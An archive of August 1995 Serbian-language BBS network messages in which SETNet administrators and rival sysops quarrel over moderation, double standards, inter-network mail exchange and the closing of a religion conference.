Da, nije bilo dozvoljeno i podrzano. Samo sto je naislo na odobravanje
par moderatora i korisnika, a niko od zvanicnika nije ni pomislio da
bi valjalo da koga opomene zbog ponasanja a kamoli da se izvini zbog
dogadjaja. Inace, to sa 'dzukelom' sam naveo samo kao jedan od primera.
Takve stvari su se stalno desavale (i to ne samo sa mnom) i nikad
nikoga niste opomenuli, (sem mene, kad sam pokusavao da se branim).
U stvari ste imali duple standarde. Jednom korisniku ste pristup
zabranili 'zbog nepristojnosti' pogotovu 'neristojnosti u mail-u'
a nikoga nije nazvao dzukelom ili nesto slicno. Najzanimljivije je
da je taj korisnik napisao par nepristojnosti isporovociran upravo
duplim standardima, jer su se moderatori zalagali za to da
nepristojnosti nisu dozvoljene a istovremeno su se gadjali svakojakim
izrazima...
ZD> kako coveku moze da se kaze da se*re ili da laze sto si ti ponovio i
ZD> sada i jos tvrdis da je on sam kriv sto mu ti kazes da laze a govori
ZD> istinu. Dvostruki arsini. Sta ste sve izrekli na racun Beointa i nekih
Rekoh. Ne govori istinu.
ZD> ljudima zivot, ljudi su se druzili i dopisivali, jedino Tebe neko
ZD> (mnogi) nisu varili zbog tvog stila JA pa JA. Ovaj je rekao svoje
ZD> misljenje, posle ste se dopisivali i sredili stvar i opet je bilo u
To neki gledaju kao JA pa JA. Meni niste mogli nista jer sam imao
moralno pravo da odgovorim na svaku poruku, a ja ga nisam
zloupotrebljavao vec sam odgovarao iskljucivo iz razloga da
negiram lazi koje su tamo iznete. Ja sam tu morao da branim
SETNet od najnizih mogucih podmetanja. Zanimljiv je taj pristup
da nekog pustite da se sit izlaze a onda meni zamerate sto lazi
opovrgavam. Pustite da laze u javnoj konferenciji a od mene
trazite ta ih opovrgavam u privatnoj. Jos ispadam ja kriv sto
ste dozvolili da neko pravi onakve ispade i jos ga stitite od mene
koji pokusavam da se odbranim?
ZD> redu. Da ja Vama saljem 30-ak poruka privatnih u neku konferenciju da
ZD> li bi postupili kao Lale.?
Ne znam tacno sta si hteo da kazes ovim, ali ako neko ujavne
konferencije salje poruke koje su ocigledno privatne sadrzine
odmah dobija opomenu (vi biste se odmah drznuli kako dezurni
policajac nikad ne spava), pa ako nastavi, pokrece se postupak
za zabranu pristupa. Ista je procedura i za sve ostale poruke
koje izlaze iz domena dozvoljenog u konferencijama.
Kod nas onakve diskusije, kao sto je bila na VNet-u ne bi ni
bilo. Vec posle par poruka SVI ucesnici bi mogli da biraju
ili da se uzdrze od medjusobne pljuvacine ili da je premeste u
mail ili da im se zabrani pristup.
... Ko nije protiv nas, sa nama je. (Cezar)
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email.1610postmast,
From: Zoran.Doroslovac@p1.f0.n111.z38.setnet.setnet.co.yu (Zoran Doroslovac)
Subject: sasvim obican
Date: Thu, 17 Aug 1995 13:19:17
PS>Sto ja potpuno podrzavam, posto postupamna isti nacin. Samo mi se cini da
PS>cemo se mi dugo bockati bez svrhe. :( Sta ce nam to?
Meni uopste ne treba i nemam nameru da nastavim. Ali pogledaj tvoj
posledji pasus ove poruke pa ce ti se kasti samo. Jednom si na nasem
bbs-u rekao da moras da odgovoris na svaku optuzbu. Ja ne mislim tako
jer rad i dela ce dokazati kad tad, a onda ispadnes...
PS> ZD> prica i nije bas za tracarenje. Jedno je sigurno nije se raspao zbog
PS> ZD> loseg kvaliteta. Nisam nista radio u koprivama, ali kad budes ulozio
PS> ZD> malo vece pare a ne postuje se dogovor, mozda i ti naidjes na koprive.
PS>To je ono o cemu smo i pricali. Kad neko daje pare, ocekuje nesto za
PS>te pare. Istovremeno, onaj koji da najvise para, najvise se i pita.
U mom slucaju ja sam dao dosta para da bi se pitao, ako mislis drugacije
a mislis cim si mi poslao onu poruku da Vam saljem spisak sta mene
interesuje a sta Vas moze da interesuje (otkud ja znam sta vas moze da
interesuje, dodjes i vidis pa odlucis). Ocekivao sam odgovor u stilu to
moze to ne moze pod tim i tim uslovima. Da ne bude zabune nisi nista
lose uradio to je normalna poruka u kontekstu povezivanja. Samo
situacija je ta da smo mi vec razgovarali na tu temu i da sam javno
rekao da zelim da saradjujem i sta zelim i kako zelim. Ti mi posaljes
poruku da posaljem prijavu pa ce te da se dogovorite.Moras prestati da
mislis da ste najveca, velika, i jedina mreza u YU. Samo ste mreza,
mozda i jedina i to dosta spora. Mozda je to subjektivno jer sam navikao
da dobijam poruke posle par sati a ne posle par dana. Da ne bude opet
zabune govorim o bbs-u a ne o mrezi. Moras da shvatis da postoji bbs gde
ima vise korisnika koji pisu i da se jave par puta na dan.
PS> ZD> Bila je to fina mreza (ako ima bar dva bbs-a jeste mreza) gde je mogao
PS> ZD> da se dobije odgovor i na tehnicko i na politicko pitanje bez ikakve
PS> ZD> svadje. Neko je rekao da je lokalnog karaktera. Tacno, koji bbs nije
PS>Da, ali je bilo ko, a pogotovo ako je administrtor, tamo korisnika bez
PS>ikakvog problema mogao da nazove dzukelom, na primer... I jos da dobije
PS>podrsku. U stvari, to je jedina stvar koja je bila stvarna razlika izmedju
PS>SETNet-a i VNet-a.
:))
Generalno gledano, bilo je mnogo razlike, jedino koja nije bila je ta
koju si upravo naveo. Ne kazem da ti covek nije rekao to sto je rekao
ali nije bilo dozvoljeno i podrzano, kao sto ti kazes.
Neverovatno, ili sad zelis da ja nastavim u tvom stilu pa da morate da
otvorite posebnu konferenciju za mene, kao sto smo mi morali da otvorimo
za tebe ? Kao prvo vase pravilo je da ne zamaras ljude sto se i ja
slazem. Ako ja Vama posaljem dnevno 30-ak poruka koje nikakve veze
nemaju sa bbs-om osim da se dva coveak raspravljaju ko je kome sta. Kad
Administrator (JA) zamoli da predjete u private jer ste dosadni i punite
pakete bez veze, kad zamolimo da predjete u BBS-sysop, a na kraju i
otvorimo YU-sysop da se ne bi zamarali sysopi male mreze, Ti nastavis i
dalje. Znam da je tvoje obrazlozenje da je i ON nastavio, budi pametniji
pa prekini. Posle tog svega covek ti kaze to sto ti je rekao i to ne u
ozbiljnom tonu. Moje misljenje sam ti rekao o tome kako coveku moze
da se kaze da se*re ili da laze sto si ti ponovio i sada i jos tvrdis
da je on sam kriv sto mu ti kazes da laze a govori istinu. Dvostruki
arsini. Sta ste sve izrekli na racun Beointa i nekih ljudi u vasoj
konferenciji a saradjujete sa njima to je smesno. Uopste ne vidim na
koji nacin se tu pomaze da se naprave komunikacije u ovoj drzavi i u ovoj
situaciji kakva je. I da zavrsim nije to jedina razlika izmedju SetNeta
i VNeta, u VNetu nije bilo despota koji su zagorcavali ljudima zivot,
ljudi su se druzili i dopisivali, jedino Tebe neko (mnogi) nisu varili
zbog tvog stila JA pa JA. Ovaj je rekao svoje misljenje, posle ste se
dopisivali i sredili stvar i opet je bilo u redu. Da ja Vama saljem
30-ak poruka privatnih u neku konferenciju da li bi postupili kao Lale.?
Javno se izvinjavam sto sam negde upotrebio mnozinu jer ne smatram da je
ceo SetNet i ljudi koji rade u njemu tezak na ovaj nacin (vazi za sve
moje poruke).
Zoran Doroslovac
■ OLX 2.1 TD ■ Ja sam uvek u pravu... Osim kad jesam!
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email.1611postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Bajka o mrezi
Date: Thu, 17 Aug 1995 12:20:05
SM> From: sloba.markovic@durlan.co.yu (Sloba Markovic)
SM> Ako ti to nazivas mrezom, stvarno ne znam sta da kazem... Ali
SM> cujmo pricicu...
Xe xe, dobar naslov. Zamalo da bude bajka, sve je izmisljeno, samo
sto fali srecan kraj. :)))
Momce, nemas ti pojma sta je kako nastalo. Ova tvoja bajcica
je samo pokazala da nisi u toku ni sa najosnovnijim elementima
price. Ne samo sto si doveo u medjusobnu vezu ljude koji
nikad nisu ni bili u vezi, nego si totalno ispremetao u
hronologiju.
Ovim si u stvari pokazao kakva ti je prava namera, da sto vise
ocrnis ono cemu nisi ravan. Nije tebi stalo do kritike, nego
iskljucivo do pljuvanja po boljim od sebe.
... Fatal ERROR! Missing power supply!
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email.1612postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Cut.religion
Date: Thu, 17 Aug 1995 12:20:06
SM> From: sloba.markovic@durlan.co.yu (Sloba Markovic)
SM> sve da radim (ako se kulturno ponasam), ali uvek mogu da ocekujem
SM> da ce me neki "administrator" opaliti po glavi, ako mu se nesto
SM> ne svidi (primer - NET.RELIGION).
PS> To je stvar namene konferencije. Ako iskaces iz okvira onoga za sta
PS> je konferencija namenjena, normalno je da te moderator opomene.
SM> Stvar je u tome sto u slucaju NET.RELIGION niko nije iskakao iz
SM> okvira konferencije. To je bila stvar licnog shvatanja izvesnog
SM> "organa", a ne krsenje opste prihvacenh normi ponasanja. Dokaz
SM> je i to sto je SAMO odredjeni "organ" penio, pravio buku i nered
SM> u konferenciji, ostali se nisu zalili...
Nisi ti ni procitao opis namene konferencije... Konferencija nije
namenjena za ono sto ti mislis, nego sto smo mi definisali.
Decko, kad se uozbiljis, onda mozemo da pricamo. Zasad, ostavi nas
na miru, da mi radimo kako znamo i umemo i ako ti se ne svidjamo,
zaobidji nas. Dovodis me u situaciju da maltertiram ostale korisnike
zato sto moram da negiram svakojaka trucanja koja ti ovde ostavljas.
O'ladi malo.
... BR> Oreska BBS - LIBRARY of Science Fiction - Free DL
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email.1613postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Demokratija & SETNet
Date: Thu, 17 Aug 1995 12:20:07
MP> Znaci ja mogu oglase koje ste vi skupili da prodajem kome ja hocu i da
MP> vam za to nedam ni dinara, pod uslovom da ih vide i svi ostali
MP> korisnici..., pa to je bio glavni problem.
Panije bas. Ako teporuke mogu da vie svi korisnici, onda ih ne mozes
prodati nekom od tih korisnika, jer bi to bilo prodavanje 'vetra'.
Naravno, ti mozes to da radis, samo sto ce te kad tad neko stici
zbog prevare, a i SETNet ce traziti svoj deo.
... Hello, I am Intel 80585.87967 CPU!
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email.1614postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Ostale mreze i SETNet
Date: Thu, 17 Aug 1995 12:20:07
DM>>Toliko cenis Damira da mislis da on sam ne sme da odlucuje o svojim
DM>>postupcima. Super. :|
MP> Da sam ja bio na njegovom mestu i da mi je neko postavio uslov ili
MP> SETNET ili PANON, dukobo bi se zamislio, Damir je sam odlucio, njemu
MP> nista ne zameram, samo ucene je ipak bilo.
Dosta je bilo insinuacija. Evo i Damir se javio i rekao da je postu
sa Panonom prestao da razmenjuje zato sto mu je to nabijalo telefonski
racun koji ne moze da priusti. To je jedini razlog.
Ja bih se zapitao, kako je neki BBS kao sto je Panon mogao uopste
da dozvoli da Damir snosi telefonske troskove togh povezivanja.
Damir drzi nekomercijlan BBS, nenaplacuje pretplatu a Panon je
komercijalan i od svojih korisnika naplacuje usluge.
Izgleda da su pare ipak najveci problem. Slicno je bilo ranije i
sa Rhinocerosom, dok Panon jos nije postojao. Tamo se ozbiljnije
pocelo razmisljati o povezivanju u SETNet tek kada sam ponudio da
ja zovem Rhinoceros i da razmena ide o mom trosku. Sa Damirom se
desilo isto.
... BR> Oreska BBS ima ON-LINE biblioteku SF-a.
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email.1615postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Vi i korisnici
Date: Thu, 17 Aug 1995 12:20:08
SM> From: sloba.markovic@durlan.co.yu (Sloba Markovic)
PS> Kakve ovo ima veze sa SETNetom? To su licne stvari izmedju mene,
PS> Dejana i Zduleta. Zasto bih ja Zduletu davao informacije koje su
PS> mu potrebne ako on mene opanjkava u javnosti? Moja je licna
PS> stvar da li cu mu dati podatke ili necu i sta SETNet ima s tim?
SM> Dejan Velinovic je bio SysOp SETNet-a, a samim tim i korisnik
SM> istog. Ti si pricao o tome kako korisnici mogu da se UVEK oslone
SM> na vas. Primer je cist k'o suza, a ponasanje zalosno...
He he he, sad bi mogao bilo koda da mi dodje i trazi moj racunar,
pa ako se pozove na to da je on korisnik SETNet-a, ja bih odmah
trebao da mu izadjem u susret? Idi begaj, postajes smesan.
Zalosno je da neko mora da koristi nekog treceg da bi dosao do
podataka od coveka kome licno ne sme na oci od sramote.
... BR> Sacekaj samo malo, da napunim bacac plamena.
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email.1616postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Who is the best?
Date: Thu, 17 Aug 1995 12:20:09
SM> From: sloba.markovic@durlan.co.yu (Sloba Markovic)
SM> Posedujem poruke iz konferencije NET.SYSOPS koje bas i ne govore
SM> u prilog tome. Bolje ti je da cutis, ako pustim poruku samo ces
SM> se iskompromitovati...
Oho, sutra ces mi verovatno traziti jos i da ti platim da ih ne objavis?
:))))))))))))))
SM> VNet se ugasio (koliko znam), ali dok je radio imao je MNOOOOOGO
PS> Ali se ugasio... O kvalitetu drugom prilikom.
SM> ^^^^^^^^^^^^^^^^^^^^^^^^^^^
SM> Malo prepotentno zvuci, a? Omalovazavas tudi rad, a svoj nisi u
SM> stanju da realno ocenis...
Gde sam omalovazavao VNet. U par navrata sam cak i rekao da je VNet
bila vrlo lepa mreza. Samo sam konstatovao da vise ne radi.
SM> PRONet jos uvek radi.
PS> Na papiru.
SM> A to sta ste Kosijeru trljali na nos kada je osnivao PRONet i
SM> sta ste posle govorili o PRONet-u da ne pricamo...
Ko je o kome govorio? Voleo bih da cujem sta smo mi to govorili o
PRONet-u, bas me zanima, valjalo bi da se podsetim, davno je to bilo...
SM> NutsNet nije ugasen takodje.
PS> Nikad cuo...
SM> Toliko o tvojoj kompetentnosti i informisanosti...
Nadji taj NutsNet u bilo kojoj listi BBS-ova (sem tvojoj)
pa onda da pricamo o kompetentnosti. :)
SM> SHNet je prerastao u FineNet (za svaku pohvalu Damire :) ) kada
SM> pratis njihove konf. osecas se kao da si u dobrom drustvu.
SM> Siguran si da ti niko nece skociti za vrat, samo zato sto se
SM> nekome ne svidjas. Sto se kaze - User Friendly Net
PS> To je mreza napravljena za odredjen krug ljudi i normalno je da je
SM> Pa nisam bas siguran da je napravljena za uzak krug ljudi
SM> (Damire? Jevicu?). Sem toga, da li to znaci da ako je SETNet
I Damir i Aleksandar ce ti to potvrditi. Na AV Manti cak vise i
ne mogu da se prijavljuju novi korisnici.
SM> pravljen za veci krug korisnika, da to daje za pravo pojedinim
SM> njegovim "organima" da skacu korisnicima za vrat kad im dune?
Opet pljuvanje bez argumenata....
SM> Kada se raspao VNet (koji je bio u sprezi sa BBLink-om) nastao
SM> je NINet<tm> koji jos uvek radi.
PS> NINet je nastao kad se aspao BBLink. VNet sa tim nema veze, sem
PS> sto je jedno vreme razmenjivao postu sa BBLinkom.
SM> VNet ima veze sa zacetkom NiNet<tm>-a. Kada se raspao VNet,
SM> prakticno se raspao i BBLink, jer je posle rusenja BBLink-a
SM> ostalo malo povezanih BBS-ova u njemu i VNet mu je prakticno
SM> punio konferencije.
Toliko o kvalitetu BBLink-a.... Bas si lepo ovo rekao, jer da sam
ja rekao neko bi mi skocio na vrat. Ovako ne moze, posto nisam ja
rekao. :)
SM> Formirali su se YU-FreeNet i Busy Connection i oba imaju odlicnu
SM> koncepciju - jos uvek rade.
PS> Obe mreze su suvise sveze da bi se moglo ista zakljucivati.
SM> Sto ne sprecava alenina i tebe da sarkasticno prognozirate,
SM> omalovazavate i pljujete ljude koji pokrecu te mreze...
A sta? Ne smemo da kazemo sta mislimo o njihovoj koncepciji?
Ovde izgleda sviimaju pravo da kaze sta god misle o SETNet-u,
a mi jedini nemamo prava da kazemo sta mislimo o drugima?
Mi smo, za razliku od tebe, nastojali da argumenujemo svoje
tvrdnje.
Ako sam rekao da smatram da nesto ne valja, ja sam bar rekao
zasto tako smatram i upravo zato se moja diskusija razlikuje od
tvojih pljuvackih manira.
Pogledaj malo svoje i moje poruke. Tvoje su pune onog "Ovo
nista ne valja!" a u mojim uvek stoji "Ovo nije dobro zato sto...",
"Ono je lose zato sto....", a i "Ovo je dobro zato sto...."
I opet te pozivam da smiris malo strasti. Odavno smo izasli
iz namene ove konferencije a ja ne mogu da preskocim tvoje
niskosti. Siguran sam da se ljudima vec smucilo i od tvojih i
od mojih poruka.
Uzeo si prilicno pipavu ulogu posrednika izmedju administratora
jugoslovenskih mreza. Nije ti to ni prvi, a verujem ni poslednji
put, i nekoliko navrata sam se uverio da to radis iz najbolje
namere. No, valjda si shvatio da ako administratori medjusobno ne
mogu da se dogovore, ti tek ne mozes nista da uradis, samo ces da
navuces neciju netrpeljivost.
Secas li se kako si prosao u slucaju konferencije YU.SYSOPS? Tada
si dobio po zubima od ljudi koje si zastupao samo zato sto ti se
svidela ideja da sisopi svih mreza imaju zajednicku konferenciju u
kojoj mogu da se dogovaraju o saradnji. Nadam se da se secas da u
tom slucaju mi nismo bili ti koji su te napadali, vec upravo
surpotno, podrzavali smo te, a napali su te tvoji. Mislio sam da
je to bilo dovoljno da shvatis da neke stvari jednostavno ne mozes
da promenis i da se u stvari boris sa vetrenjacama.
Zato, smiri lopticu. Nema potrebe da se blatimo zato sto ne mozemo
da nadjemo zajednicki jezik po nekom pitanju. Naci cemo ga po
nekom drugom, i siguran sam, poznavajuci te, da cemo moci odlicno
da se slozimo. Nece nam biti prvi put.
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email.1617postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: You are the best!
Date: Thu, 17 Aug 1995 12:20:09
SM> From: sloba.markovic@durlan.co.yu (Sloba Markovic)
SM> OPET NE CITAS PORUKU! Pod sankcijama "siroke narodne mase" su
SM> osudjene na domace mreze, jer ne mogu da dobiju USENET,
SM> ADRIANet, FIDONet i resto NA VELIKO - ZNACI SETNet NEMA
SM> konkurenciju!
PS> SETNet i ne cilja na to da zameni Internet, FIDONet i ostale mreze.
SM> Ali pretenduje na primat u amateskim mreznim BBS komunikacijama
SM> u Jugoslaviji. Ako se nesto ne promeni - mrka kapa od toga...
Ne pretendujemo - mi ga imamo. E sad sto se to tebi ne svidja,
sta ti ja mogu. Napravi nesto bolje od SETNet-a pa nam uzmi
taj toliko ljubljeni primat.
Da je nama stalo do prvenstva, pa tepali bismo vas sitne ribe
ko zeceve. Ali nas to ne zanima, vec komunikacija sa sto vise
ljudi. Primat imamo samo zato sto najbolje radimo svoj posao,
a ne zato sto se otimamo za njega.
... Fatal ERROR! Missing power supply!
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email.1618postmast,
From: Zoran.Doroslovac@p1.f0.n111.z38.setnet.setnet.co.yu (Zoran Doroslovac)
Subject: Ostale mreze i SETNet
Date: Thu, 17 Aug 1995 13:19:16
PS> ZD> je imbecil ili lazov. I jedno i drugo spada pod vredjanje korisnika,
PS> ZD> nije primereno koordinatoru mreze. Da ne bude zabune ON je rekao nekom
PS>Cek, sta ja tu mogu? Covek je izneo tvrdnju a ja sam rekao da ta tvrdnja
PS>nije tacna. Ako je ispao lazov to je njegov problem, ne moj.
Vidis sad mi je zao sto nisam pustio coveka (postovao pravilo
demokratije) da Vam saspe sve poruke na tu temu, pa da se vidi ciji je
problem. Ako i dalje mislis da budes neki faktor u toj mrezi moraces da
se naucis nekog reda. A to je sledece da ne budes tvrdoglav tamo gde ne
treba, dovoljno je bilo da precutis, ovako stalno provociras i izazivas
netrpeljivost. Pa ljudi Vase poruke iz sysopa imaju mnogi bbs-ovi i koga
ti mislis da zavlacis sa tim sto uporno teras temu u kojoj nisi u pravu.
Covek nije ispao lazov a ko jeste nemam nameru da ti dokazujem. Samo ti
mogu reci da sigurno necu saradjivati sa takvim ljudima (tobom) a na
zalost dobar deo ljudi poistovecuje SetNet sa tobom.
PS> ZD> Damira neko JESTE napao i moram da ti kazem da je covek
PS> ZD> PRVO pitao u telefonskom razgovoru da li hocu da udjem u SetNet, na
PS> ZD> moje obrazlozenje zasto necu, poceli smo razgovor o nasem povezivanju.
PS>Vidis, kod nas je bilo drugacije, Damir nas nije izvestio kako teku
PS>razgovori sa tobom, i bilo je sasvim normalno da podrazumevamo da
PS>je ta stvar u toku, a onda odjednom saznajemo da on u stvari razgovara
PS>o povezivanju Panona u njegovu mrezu. Skrenuli smo mu paznju da takav
PS>postupak nije kolegijalan, sto je on prihvatio. Ne vidim razloga zasto
PS>ti potezes to pitanje, kad smo mi to sa Damirom sredili na najbolji
PS>moguci nacin.
Nisam potegao ja to pitanje vec Ti sa tvojom tvrdnjom da ne utices na
druge bbs-ove ako se povezuju sa drugima. Kao sto znas to je bilo sad
vec davno i da sam hteo da se svadjam ili potezem pitanje napisao bih
to ranije mnogo. To sto ste vi "sredili sa njim" uopste ne utice na to
da mi ne razmenjujemo postu. Znaci dobio si sta si hteo, izgubili su
korisnici u koje se kunes. Kad kazem korisnik mislim na sve korisnike
bez obzira ciji su clanovi. Igrate se odrasle mreze a postupate
detinjasto. Da se razumemo ja ne tvrdim da "volim" korisnike, koga volim
tog i ... Radim ovo zato da ljudi imaju korist od toga ( ne mora da
bude materijalna) a i ja da imam korist od toga (moze da bude i
materijalna, obrati paznju na I ) Postupam profesionalno koliko mi
mogucnosti dozvoljavaju i sad treba da se sa tobom prepucavam ko je sta
rekao a i ja i ti znamo ko je sta rekao. Meni nije bitno za posao da
dokazem sta je ko rekao vec da se odradi ono sto smo rekli. A rekli smo
da nema uslova da se povezem ako ne prenosim odredjene konf, sad
odjednom ima i to je bilo oduvek tu samo ja nisam znao. Posaljem poruku
da hocu da se povezem (ne da udjem u SetNet) ti mi posaljes poruku da
posaljem prijavu na razmatranje. Dogovor boli glava usi otpadaju. Vrlo
ozbiljno, nema vremena ni zivaca a ni posebnog interesa da se igram
zmurke.
PS>Ako je nas postupak kojim slucajem prouzrokovao da Damir odustane
PS>od vaseg povezivanja u FINENet, onda moram da kazem da nam to nije
PS>bila namera, jer mi ne mozemo da se njemu mesamo u organizaciju
PS>njegove mreze.
I meni je (stvarno) zao, ali necu propasti zbog toga a nece ni on ali je
moglo da bude svima bolje. Svi se bore protiv konkurencije i to je
normalno ali ovo sto vi radite nije normalno. Cim neko spomene Fido ti
graknes (a i neki) da je i SetNet kao i Fido, to jest organizovan na
istom principu. Osim adresa nema nista sto samo lici na F od Fido. I
tamo je sve amaterski ali nema uslova ko sta prati sta ce da radi sa
svojim bbs-om, skim ce da se poveze itd. Pravila ponasanja se postuju
sto je i normalno za svakog ko je malo vaspitan ko nije tu je sysop da
stisne del. Naneli ste stetu vasim takmicenjem ko je najveca mreza u Yu
celoj zajednici, na zalost trebalo je da bude suprotno a imate
mogucnosti za suprotno. Stvarno sam ocekivao malo vise fleksibilnosti
posle ovih silnih rasprava. Doci ce vreme kad ce ipak nesto da se
pokrene u ovoj drzavi, korisnici nece biti osudjeni da zovu najblizi
bbs, sem ako na njemu imaju sve sta im treba. Treba misliti o tome, kako
onda i skim onda.
I opet se izvinjavam ako sam upotrebio mnozinu gde ne treba.
Zoran Doroslovac
■ OLX 2.1 TD ■ Back Up My Hard Drive? I Can't Find The Reverse Switch!
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email.1619postmast,
From: mmike@setnet.co.yu (Miljan S. Mirovic)
Subject: Ostale mreze i SETNet
Date: Fri, 18 Aug 1995 16:13:00
-=> Milos Petrovic posla pruku na ime: Predrag Supurovic. Citiram: <=-
MP> E pa caka bi bila da svi zajedno korisnike navikavamo da nesto
MP> placaju, uvedite i vi svi na svojim BBS-ovima pretplatu od 1DIN, samo
MP> da se korisnici naviknu, a onda posteno kazemo TI za svoj 1DIN nudis to
MP> i to, a JA svojih 10 to i to, pa nek sami odluce, ali bitno je da
MP> naviknu da ce nesto morati da plate, i tako ces ti dobiti nesto para pa
MP> ces dovuci jos nesto sto niko nema i moci ces da povecas pretplatu
MP> i...
Ne, nisam se nasao na brokerovoj strani. Ali ipak moram da pitam da li
ti mislis da je najvaznija stvar povecati pretplatu. Iz tvoje poruke
(procitaj je jos jednom ali pazljivo) mogu da zakljucim da ti dovlacis
stvari zato da bi povecao pretplatu, a ne povecavas pretplatu da bi dovlacio
stvari. Razlika je jasna, a ti si rekao upravo: "i tako ces dobiti nesto sto
niko nema i moci ces da povecas preplatu i...".
Lose...
MSM
... ţ\/ńr Sţń´ č ▄ ▄ /\gŢ▄ iŢ▄Ţń DÝ ▄ ▄ ╠╣iS?
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1620postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: SETNet i ja
Date: Thu, 17 Aug 1995 00:10:01
Origin.SUBJ: SETNet i ja
Origin.FROM: Aleksandar Ninkovic
Origin.TO : Sloba Markovic
SM> BTW, samo da se uhoda razmena FREENet-a, BC i BINT-a i eto
SM> mene tamo...
AN> E hvala Bogu. Zamolicu Dejana Velinovica da mi javi ako mu je ista
AN> potrebno da im sto pre proradi razmena kako valja.
Jel' sada vidis koliko ti je ponasanje JADNO...
+ ,
O:)-|--< MAGIC FLASH!
+ '
... :-) :-)) :-)))) <-- Ko se zadnji smeje - najsladje se smeje!
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1621postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: Cut.religion
Date: Sat, 19 Aug 1995 03:04:02
Origin.SUBJ: Cut.religion
Origin.FROM: Aleksandar Ninkovic
Origin.TO : Sloba Markovic
> Stvar je u tome sto u slucaju NET.RELIGION niko nije iskakao iz
> okvira konferencije. To je bila stvar licnog shvatanja izvesnog
> "organa", a ne krsenje opste prihvacenh normi ponasanja.
AN> otvoricemo posebnu konferenciju gde ces moci da izzivljavas svoje
AN> mrznje i niske strasti i nazvacemo je net.religion da ti se dusa,
AN> napokon smiri sto nismo hteli da ucewstvujemo u tvom orgijanju.
Bilo bi lepo da se setis da postoji u privatna posta, ako hoces
da se izivljavas na nekome...
PRVO, hoces li se vec jednom smiriti? Prekini da penish!
DRUGO, molio bih te da, ako hoces da nastavis razgovor samnom,
obratis paznju na ponasanje. Ja nikoga nisam vredjao.
CETVRTO, nije lepo da govoris u tudje ime, a pogotovo ne u ime
korisnika na mrezi, koji se jednom reci nisu bunili za ponasanje
u konferenciji.
PETO, mislim da je konacno doslo vreme da stavis IGNORE na moje
poruke. A mislim i da je vreme za SETNet, da pusti onaj
MarkoM-ov program za IGNORE korisnika (tj. cenzuru) u pogon, pa
da bude mirna Bosna...
'Ajd u zdravlje i pamet u glavu, ako odgovaras...
+ ,
O:)-|--< MAGIC FLASH!
+ '
... Istina je relativna, rece Pilat, i opra ruke !
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1622postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: Who is the best?
Date: Sat, 19 Aug 1995 03:04:03
Origin.SUBJ: Who is the best?
Origin.FROM: Aleksandar Ninkovic
Origin.TO : Sloba Markovic
SM> Sto ne sprecava alenina i tebe da sarkasticno prognozirate,
SM> omalovazavate i pljujete ljude koji pokrecu te mreze...
AN> To je vec tvoj specijalitet. A poseban je brutalna laz, kao ova
To sto si ti rekao o administratorima drugih mreza i to sto si
rekao o meni i na koji nacin si sve to rekao - znaju oni kojima
si poslao poruke (oni i ja).
Sa tako sitnom dusom kao sto si ti, mi ne pada napamet da vise
pricam - PARTY IS CALLED OFF!
MAIL> Command: Search <Alenin>
MAIL> REPORTING: <ALENIN> FOUND!
MAIL> Command: Ignore wimp!
MAIL> STATUS: WIMP IGNORED!
Pozdrav,
+ ,
O:)-|--< MAGIC FLASH!
+ '
... Try not. Do. Or do not. There is no try. (Yoda)
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1623postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: Cut.religion
Date: Sat, 19 Aug 1995 03:04:04
Origin.SUBJ: Cut.religion
Origin.FROM: Vojislav Mihailovic
Origin.TO : Sloba Markovic
SM> u slucaju NET.RELIGION niko nije iskakao iz okvira konferencije.
VM> Kako mozes tako nesto da kazes?
Prvo, Marsovce, ja sam tebi nesto vec rekao (nesto o sastajanju)!
VM> Bilo je i poruka tipa 'Katolici su koljaci, vidite sta su uradili u
VM> Bosni u II svetskom ratu'
Mala ispravka, poruka je glasila (parafrazirano): 'USTASE su
koljaci, vidite sta su uradili u NDH u WW2 uz precutnu podrsku
Vatikana'.
HINT-1: Prvo PAZLJIVO procitaj poruke, pa onda diskutuj o njima!
HINT-2: Nauci istoriju (Bosna nije postojala za vreme WW2).
VM> Da sam ja bio taj odredjeni 'organ' zapenio bih jos mnogo vise.
Izgleda da ste svi u "organizaciji" isti... :))
Pozdrav,
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O:)-|--< MAGIC FLASH!
+ '
... LIE DOWN, I THINK I LOVE YOU!
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1624postmast,
From: Sloba.Markovic@f133.n103.z38.setnet.setnet.co.yu (Sloba Markovic)
Subject: Rusenje BBLink-a
Date: Sat, 19 Aug 1995 03:04:05
Origin.SUBJ: Rusenje BBLink-a
Origin.FROM: Zoran Kovacev
Origin.TO : Sloba Markovic
SM> poruku iz NET.SYSOPS potpisanu sa "Predrag Supurovic sr." u
SM> kojoj on naredjuje svima onima koji su u dve mreze, da se odluce
SM> sa kim ce Ne verujem da za to tada bilo nekog glasanja.
ZK> Te poruke se uopste ne secam, a sa Pronet-om sam se povezao,
ZK> a da niko nije ni zucnuo...
Chvaky sa Sensible BBS-a moze da potvrdi da je takva poruka
postojala (ako ima balls). Takodje se mozete obratiti i Nenadu
Radosavljevicu po istom pitanju.
Sto se tice PRONet-a, pitaj Zokija Kosijera, u poverenju, kako
se razvijala stvar od pocetka...
BTW, pokusaj prvo da ti napravis svoju mrezu, pa onda pricaj o
problematici...
Pozdrav,
+ ,
O:)-|--< MAGIC FLASH!
+ '
... Clan 2. Moderator je uvek u pravu
* Origin: SETNet * BBS Politika, Bgd * +381 11 3229148 * 0-24 (38:103/133)
email.1625postmast,
